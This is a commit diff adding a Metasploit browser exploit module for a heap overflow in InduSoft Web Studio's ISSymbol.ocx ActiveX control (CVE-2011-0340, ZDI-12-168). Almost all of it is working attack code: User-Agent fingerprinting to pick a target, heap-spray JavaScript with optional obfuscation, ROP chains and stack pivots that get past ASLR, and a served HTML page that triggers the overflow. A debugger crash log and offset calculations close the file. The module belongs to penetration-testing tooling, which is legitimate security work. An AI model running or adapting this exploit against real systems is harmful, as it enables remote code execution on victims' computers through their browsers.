Added module for ZDI-12-168

Author: jvazquez-r7

modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb

@@ -0,0 +1,313 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::Remote::HttpServer::HTML
+	include Msf::Exploit::RopDb
+	include Msf::Exploit::Remote::BrowserAutopwn
+
+	autopwn_info({
+		:ua_name    => HttpClients::IE,
+		:ua_minver  => "6.0",
+		:ua_maxver  => "9.0",
+		:javascript => true,
+		:os_name    => OperatingSystems::WINDOWS,
+		:rank       => NormalRanking,
+		:classid    => "{3c9dff6f-5cb0-422e-9978-d6405d10718f}",
+		:method     => "InternationalSeparator"
+	})
+
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow",
+			'Description'    => %q{
+				This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00
+				SP6. The overflow exists in the ISSymbol.ocx,  and can be triggered with a long
+				string argument for the InternationalSeparator() method of the ISSymbol control.
+				This modules uses the msvcr71.dll form the Java JRE6 to bypass ASLR.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Alexander Gavrun', # Vulnerability discovery
+					'James Fitts', # Metasploit module
+					'juan vazquez' # Metasploit module
+				],
+			'References'     =>
+				[
+					[ 'CVE', '2011-0340' ],
+					[ 'OSVDB', '72865' ],
+					[ 'BID', '47596' ],
+					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-168/' ],
+					[ 'URL', 'http://secunia.com/secunia_research/2011-37/' ]
+				],
+			'Payload'        =>
+				{
+					'Space'            => 934,
+					'DisableNops'      => true,
+					'PrependEncoder'   => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
+				},
+			'DefaultOptions'  =>
+				{
+					'InitialAutoRunScript' => 'migrate -f'
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Automatic', {} ],
+					[ 'IE 6 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
+					[ 'IE 7 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
+					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],
+					[ 'IE 7 on Windows Vista',  { 'Rop' => nil,     'Offset' => '0x5f4' } ],
+					[ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => '0x5f4' } ],
+					[ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x5f4' } ],
+					[ 'IE 9 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x5fe' } ]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Apr 28 2012",
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
+			], self.class)
+
+	end
+
+	def get_target(agent)
+		#If the user is already specified by the user, we'll just use that
+		return target if target.name != 'Automatic'
+
+		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
+		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
+
+		ie_name = "IE #{ie}"
+
+		case nt
+		when '5.1'
+			os_name = 'Windows XP SP3'
+		when '6.0'
+			os_name = 'Windows Vista'
+		when '6.1'
+			os_name = 'Windows 7'
+		end
+
+		targets.each do |t|
+			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
+				print_status("Target selected as: #{t.name}")
+				return t
+			end
+		end
+
+		return nil
+	end
+
+	def ie_heap_spray(my_target, p)
+		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
+		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
+		js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
+
+		# Land the payload at 0x0c0c0c0c
+		case my_target
+		when targets[7]
+			# IE 9 on Windows 7
+			js = %Q|
+			function randomblock(blocksize)
+			{
+				var theblock = "";
+				for (var i = 0; i < blocksize; i++)
+				{
+					theblock += Math.floor(Math.random()*90)+10;
+				}
+				return theblock;
+			}
+
+			function tounescape(block)
+			{
+				var blocklen = block.length;
+				var unescapestr = "";
+				for (var i = 0; i < blocklen-1; i=i+4)
+				{
+					unescapestr += "%u" + block.substring(i,i+4);
+				}
+				return unescapestr;
+			}
+
+			var heap_obj = new heapLib.ie(0x10000);
+			var code = unescape("#{js_code}");
+			var nops = unescape("#{js_random_nops}");
+			while (nops.length < 0x80000) nops += nops;
+			var offset_length = #{my_target['Offset']};
+			for (var i=0; i < 0x1000; i++) {
+				var padding = unescape(tounescape(randomblock(0x1000)));
+				while (padding.length < 0x1000) padding+= padding;
+				var junk_offset = padding.substring(0, offset_length);
+				var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
+				while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
+				sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
+				heap_obj.alloc(sprayblock);
+			}
+			|
+
+		else
+			# For IE 6, 7, 8
+			js = %Q|
+			var heap_obj = new heapLib.ie(0x20000);
+			var code = unescape("#{js_code}");
+			var nops = unescape("#{js_nops}");
+			while (nops.length < 0x80000) nops += nops;
+			var offset = nops.substring(0, #{my_target['Offset']});
+			var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
+			while (shellcode.length < 0x40000) shellcode += shellcode;
+			var block = shellcode.substring(0, (0x80000-6)/2);
+			heap_obj.gc();
+			for (var i=1; i < 0x300; i++) {
+				heap_obj.alloc(block);
+			}
+			var overflow = nops.substring(0, 10);
+			|
+
+		end
+
+		js = heaplib(js, {:noobfu => true})
+
+		if datastore['OBFUSCATE']
+			js = ::Rex::Exploitation::JSObfu.new(js)
+			js.obfuscate
+		end
+
+		return js
+	end
+
+	def get_payload(t, cli)
+		code = payload.encoded
+
+		# No rop. Just return the payload.
+		if t['Rop'].nil?
+			prepend = [
+				0x0c0c0c0c,
+				0x0c0c0c0c,
+				0x0c0c0c0c,
+				0x0c0c0c0c,
+				0x0c0c0c0c,
+				0x0c0c0c0c,
+				0x0c0c0c28 # Will finally become EIP
+			].pack("V*")
+			return prepend + code
+		end
+
+		# Both ROP chains generated by mona.py - See corelan.be
+		case t['Rop']
+		when :msvcrt
+			print_status("Using msvcrt ROP")
+			stack_pivot = [
+				0x0c0c0c0c, # ret from msvcrt.dll
+				0x77c15ed6, # ret from msvcrt.dll
+				0x77c15ed6, # ret from msvcrt.dll
+				0x77c15ed6, # ret from msvcrt.dll
+				0x77c15ed6, # ret from msvcrt.dll
+				0x77c1f519, # pop # ret from msvcrt.dll
+				0x77c4fa1a  # will become eip # mov esp, ebx # pop ebx # ret from msvcrt.dll
+			].pack("V*")
+			rop_payload = generate_rop_payload('msvcrt', code,  {'pivot'=>stack_pivot, 'target'=>'xp'})
+		else
+			print_status("Using JRE ROP")
+			stack_pivot = [
+				0x0c0c0c0c, # ret from msvcr71.dll
+				0x7c376fff, # ret from msvcr71.dll
+				0x7c376fff, # ret from msvcr71.dll
+				0x7c376fff, # ret from msvcr71.dll
+				0x7c376fff, # ret from msvcr71.dll
+				0x7c376ffe, # pop # ret from msvcr71.dll
+				0x7c376ffc  # will become eip # mov esp, ebx # pop ebx # ret from msvcr71.dll
+			].pack("V*")
+			rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
+		end
+
+		return rop_payload
+	end
+
+	def load_exploit_html(my_target, cli)
+		p  = get_payload(my_target, cli)
+		js = ie_heap_spray(my_target, p)
+
+		# ActiveX parameters
+		clsid = "3c9dff6f-5cb0-422e-9978-d6405d10718f"
+		name = rand_text_alpha(rand(50) + 1 )
+		boom = Rex::Text.to_unescape("\x0c" * 6888)
+
+		html = %Q|
+		<html>
+		<head>
+		<script>
+		#{js}
+		</script>
+		</head>
+		<body>
+		<object classid='clsid:#{clsid}' id='#{name}'></object>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<script language='javascript'>
+		#{name}.InternationalSeparator(unescape("#{boom}"));
+		</script>
+		</body></html>
+		|
+
+		return html
+	end
+
+	def on_request_uri(cli, request)
+		agent = request.headers['User-Agent']
+		uri   = request.uri
+		print_status("Requesting: #{uri}")
+
+		my_target = get_target(agent)
+		# Avoid the attack if no suitable target found
+		if my_target.nil?
+			print_error("Browser not supported, sending 404: #{agent}")
+			send_not_found(cli)
+			return
+		end
+
+		html = load_exploit_html(my_target, cli)
+		html = html.gsub(/^\t\t/, '')
+		print_status("Sending HTML...")
+		send_response(cli, html, {'Content-Type'=>'text/html'})
+	end
+
+end
+
+=begin
+eax=41306941 ebx=41306941 ecx=336b4632 edx=00000064 esi=064c0048 edi=00009796
+eip=100127d2 esp=0013e60c ebp=0013e640 iopl=0         nv up ei pl nz na po nc
+cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
+ISSymbol!DllUnregisterServer+0xc9e2:
+100127d2 8b01            mov     eax,dword ptr [ecx]  ds:0023:336b4632=????????
+0:000> u eip
+ISSymbol!DllUnregisterServer+0xc9e2:
+100127d2 8b01            mov     eax,dword ptr [ecx]
+100127d4 8b5018          mov     edx,dword ptr [eax+18h]
+100127d7 ffe2            jmp     edx
+100127d9 cc              int     3
+100127da cc              int     3
+100127db cc              int     3
+100127dc cc              int     3
+100127dd cc              int     3
+
+* ebx
+$ ruby pattern_offset.rb 41306941  6888
+[*] Exact match at offset 240
+
+* ecx
+$ ruby pattern_offset.rb 336b4632  6888
+[*] Exact match at offset 4208
+
+=end